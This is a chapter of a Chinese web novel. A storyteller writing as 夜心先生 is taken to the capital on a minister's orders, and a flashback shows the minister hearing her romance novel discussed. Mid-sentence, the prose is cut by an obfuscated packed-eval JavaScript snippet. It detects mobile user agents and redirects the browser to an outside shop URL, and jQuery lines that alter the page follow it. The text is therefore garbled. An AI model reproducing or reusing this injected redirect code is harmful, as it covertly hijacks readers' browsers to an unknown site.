李晚在案前呆坐许久，此时天色已然黑透，外面忽然起了阵风，从门外呼啦啦地灌进来，桌上的灯火随之猛地一晃，险些熄灭。


    她搁下日志，起身将门带上，初秋的风不依不饶地钻过门缝，只听身后“哗啦”一声，满桌的手稿顿时散落一地。李晚把门闩好，折身蹲在地上一张一张地拾起稿纸，余光忽然瞥见桌脚下躺着的一幅画卷，她手上一顿，旋即扔了稿纸，扑过去将画卷拾起，抱在怀里仔细吹了吹上面并不存在的灰。


    解开卷轴上的红绳，李晚把那幅画缓缓展开，只见浓墨层叠之下，妖魔鬼怪瞬间跃然纸上，她纤细的指尖轻轻抚摸上中间那个独面妖魔的清瘦背影，顺着笔触的方向浅浅勾勒，无需想像，人物的面庞已然清晰映在心底。


    那是她只敢在心里偷偷牵挂的人，是令她一想起就会心头钝痛、愧疚到无以复加的人。


    李晚看着画里那道背影，呼吸渐紧。


    她坐在地上，珍而重之地合起那幅画卷，将它抱在怀里，像是抱紧了某个胸膛。


    良久，屋里响起极低的一声啜泣，李晚低着头，缓缓把脸埋进臂弯，抱着肩膀颤抖起来。


    ……


    秋夜漫长，又在她心里，添一笔风霜。


    次日茶楼开门，掌柜一早便来后院请她。


    李晚枯坐一夜，看着地上尚未收拾的手稿，不得不在掌柜的敲门声中匆匆捡起，将纸张放在桌上用镇纸压好，她这才过去开门。


    房门自里面打开，掌柜见她穿着昨日的那身衣裳，眼下还带着明显的乌青，以为她又通宵写稿，见怪不怪地道：“东家，外面来了位客人，说是京城的什么官，要查咱们这的‘夜心先生’。”


    “小的见识浅陋，认不得他拿的那块令牌，还得东家亲自走一趟，会一会他。”


    李晚听完，心下不由疑惑，“夜心先生”不过是一个写话本的读书人，从未招惹过官府，谁会这般大动干戈地从京城来查“他”？


    除非，是冲着她来的。


    想到这里，李晚让掌柜先回去招待着，自己则回屋换了身衣裳，又梳洗一番，这才往前面大厅去见客。


    还未近前，李晚便隔着一扇屏风仔细打量了那人一番。这男子年纪不大，瞧着很是面生，穿着一身黑色劲装，腰间挂着柄长剑，似乎是在外头行走惯了，脸上肤色晒的有些黑，不笑时整个人瞧着无精打采的。


    李晚确认自己从不曾见过他，心里有了些底，这才绕出屏风，上前见礼。


    “你就是夜心先生？”男子从圈椅上站起来，开门见山地问李晚。


    李晚犹豫一番，没直接认下：“不知……大人找夜心先生有何贵干？”


    “我叫陈吉，不是什么大人。”陈吉毫不拖泥带水，从怀中取出金牌，在李晚面前晃了一眼，“我此番前来，是奉我家大人的命令，将夜心先生带往京城。”


    匆匆一瞥下，李晚只瞧见那令牌上刻着对蛟龙纹样，中间似乎有个“司”字，其余的根本没来得及看清。


    她心思急转，缓缓道：“夜心先生身体不好，恐怕经不起长途颠簸。”


    陈吉上下扫她一眼：“你瞧着也不像是有病的样子。”


    李晚朝他客气一笑，说道：“您认错了，我不是夜心先生。”


    陈吉半晌没说话，他一只手按上腰间剑柄，笑起来时眼底闪着凌厉的光。


    “是吗？”他忽然语调一转，“那就是昆南会馆的那些人在说谎了？”


    听见“昆南会馆”四个字，李晚不由面色一变。


    昆南商会由蒋家所创，能出入会馆的皆是商会核心成员，因李晚与蒋叔鸿有合作，所以会馆那些人都知道，她就是“夜心先生”。


    “你把会馆的人怎么样了？！”她面色一凛，捏紧了手帕。


    陈吉丝毫不怵，说道：“没怎么样，就是请此地的父母官往他们会馆里坐了坐。”


    李晚观他言之凿凿不似说谎，会馆里的人既然把她供了出来，眼下应当暂且无虞，想到这里，她心中稍定。


    既然对方能让本地官府出面施压，想来他之前所说不假，那背后的人果真是个京官。


    俗话说，民不与官斗，李晚也不跟他兜圈子了：“你说的不错，我就是夜心先生。不知我犯了何事，竟要劳你家大人千里迢迢赶来昆州拿人？”


    对方刚才明确表明要带走的是“夜心先生”，李晚猜想，大抵是她话本里虚构的什么内容触了京城某位大人的霉头，或是犯了对方的忌讳，亦或是对方会错了意，把书里的桥段当成了某种影射。


    这种误会，只要她亲自解释清楚就好了，大不了把书里相关内容一改，事情也就揭过了。


    哪料陈吉只朝着门外伸出一只手，对她做出相请的手势。


    他态度并不怎么客气：“等你进了京，见了我家大人，自然知晓。”


    这话是陈吉拿来唬她的。


    实际上，他也不知道大人为何要他费劲巴拉地跟着蒋叔鸿那支商队来到昆州，还要专门去抓一个写低俗话本子的女人。


    见他态度强硬，李晚思前想后，最终叹了口气：“能否容我与掌柜交代几句？”


    陈吉点了头，她这才将茶楼事宜托付给毛掌柜。


    “我这一去不知何时才能回来，这段时日茶楼照常开门，一切事务交由你打理。与蒋三爷的合作就暂时停了罢，免得牵连了他。”


    毛掌柜沉着应下，心里却忍不住打鼓。


    李晚看了陈吉一眼，又问：“可否再容我收拾几件贴身衣物？”


    陈吉皱了皱眉头，到底忍下了。


    李晚回到后院，把桌案上的锦盒与手稿收在一处，犹豫片刻，她把那幅《妖魔戏凡图》也带上了。这一去还不知道是个什么光景，这些都是她最重要的东西，还是带在身边为好。


    待重新回到厅内，陈吉已经等得有些不耐烦了，李晚也不与他废话，径直上了外面停着的马车。


    她在车厢坐定，感觉车上一沉，知道是陈吉上来了，这才掀开帘子问他：“方才忘了问你，你家大人到底是何许人也？”


    陈吉牵起缰绳，扬鞭甩在马背上，头也不回道：“我家大人复姓慕容，乃本朝大司空是也！”


    此时车轮滚动起来，马车摇摇晃晃，朝着街口疾驰。


    李晚脑子里“嗡”的一声，像是被人当头敲了一棒，面上顿时血色全无。


    “……”


    三个月前。


    京城，陶府书房。


    棋盘上黑白棋子各占一隅厮杀正欢，陶玉德刚在棋盘上放下一枚白子，却迟迟不见黑子有所动作，他疑惑抬眸，忍不住催促对方：“存挚，该你了。”


    对面正分神的男人把视线从窗外收回来，看了一眼棋局，手里捻着的一颗黑子忽然毫不犹豫地扔回一旁的棋罐中：“你输了。”


    “……”陶玉德顿时眉头一皱，一双眼睛紧紧盯住棋盘，他在心里推演片刻，随后猛地叹了口气，“你这走一步竟要心算百步！存挚啊存挚，这棋盘之上，谁还敢和你争锋？”


    他一语双关，说棋局，也说朝局。


    慕容真坐在对面连眉毛都不曾抬一下，他伸出手散漫地收拾盘上棋子，语气淡然：“我从没想过要和谁争。”


    陶玉德一边拾起白子，一边说道：“我自然是知


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16865657|184310||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    道你的，但太子一党可不这么想。”


    “这些年你风头太盛，太子受身边人言语蛊惑，总觉得你是个威胁，这两年来没少与你争锋相对。前些日子你弹劾了太子少保吴有光，以致于他被革职外放，太子气不过，这几日不仅盯你盯得紧，还和宁国公走的颇近。”


    他把棋罐盖上，意味深长道：“那吴有光曾做过太子伴读，可以说是和太子一起长大的，两人情分不比旁人，你动了他，太子少不得要针对于你，这段时日你自己当心些。”


    慕容真的目光再次投向窗外，这心不在焉的模样，也不知道他听进去没有。


    陶玉德兀自摇了摇头，就听慕容真开口道：“那吴有光仗着太子势力不仅私下卖官鬻爵，还公然结党营私，我身为大司空，有监察百官之责，岂有为太子党羽手下留情的道理？再者，他身为太子少保，理应审慎行事，这般肆无忌惮，被皇上拔除也是迟早的事。”


    陶玉德待要再说，却听书房外小厮来禀，说是少夫人那边有客，要请二爷过去坐坐。


    “告诉夫人一声，我即刻就去。”陶玉德话音未落，人已从圈椅上站了起来。


    他看了慕容真一眼，不等他开口赶人，慕容真自己就起身往门外走，边走边睨他一眼：“不劳陶侍郎相送。”


    陶玉德忙不迭跟在他身后，把人送到门口：“我这有家有口的，你好歹体谅些，等你成了婚，说不得比我还惧内呢……”


    慕容真左耳朵进右耳朵出，抬手朝身后一摆，自己循着路出去了。


    陶玉德派了小厮送他，慕容真正想一个人走走，便顺手把小厮给打发了。他对这陶府倒比自己的府邸还要熟悉些，那司空府又大又空，若无必要，他是很不愿意在自己府邸逛的。


    路过陶府凉亭，远远地便看见一群丫鬟仆妇围着几个孩子在那逗趣。有几个身影，瞧着很是眼熟。


    慕容真定睛一看，那几人正是宁国公府底下三位姑娘，三人带着盼哥儿一起，另一个，是陶玉德的掌上明珠——陶婉仪。


    想来今日宁国公夫人也正好登门，方才小厮没报，只怕是余秋音恐宁国公夫人与慕容真见了尴尬，毕竟，慕容真去年才与大房分家，如今两家人几乎不怎么来往。


    那边三岁的陶婉仪和盼哥儿一人拿着一只草编蚂蚱在斗虫，三个女孩儿则凑在一处叽叽喳喳在争论着什么。


    慕容真无意引起她们的注意，脚步便放轻了些。


    只听七姑娘慕容婧的声音从凉亭传来：“我就不喜欢《寻香记》，贵女配将军的故事有什么稀奇的，倒不如夜心先生早期之作——《春庭欲晚》来的有意思，无名丫鬟成了权臣心尖明月，如此稀奇之事，岂不让人大开眼界？”


    慕容真不知那夜心先生是何人，但写出这么多引闺阁女子思春的话本，想来也不是什么正经人物。


    八姑娘慕容姝叫道：“怎地我们没看过这本书？定是姐姐藏私！”


    九姑娘慕容妤拉开她，凑到慕容婧面前，问道：“这书里头讲的什么，姐姐快说与我们听！”


    “你们且坐下，听我慢慢讲。”慕容婧笑了一声，清了把嗓子，“这《春庭欲晚》讲的是，一个年幼失怙不被祖母叔伯疼爱的世家公子，爱上了身边一个贴身丫鬟的故事。”


    慕容真听着，脚下蓦地顿住。


    “那丫鬟一开始为了劝那位公子读书科举，与他约定好，若她能教枯树生花，那公子便听她的，从此收心读书，后来，丫鬟花光了积蓄为他燃了一场烟花……”


    “砰”的一声，像是那一夜的烟花在脑海中轰然绽开，慕容真忍不住心头狂跳，听着听着，竟慢慢红了眼眶。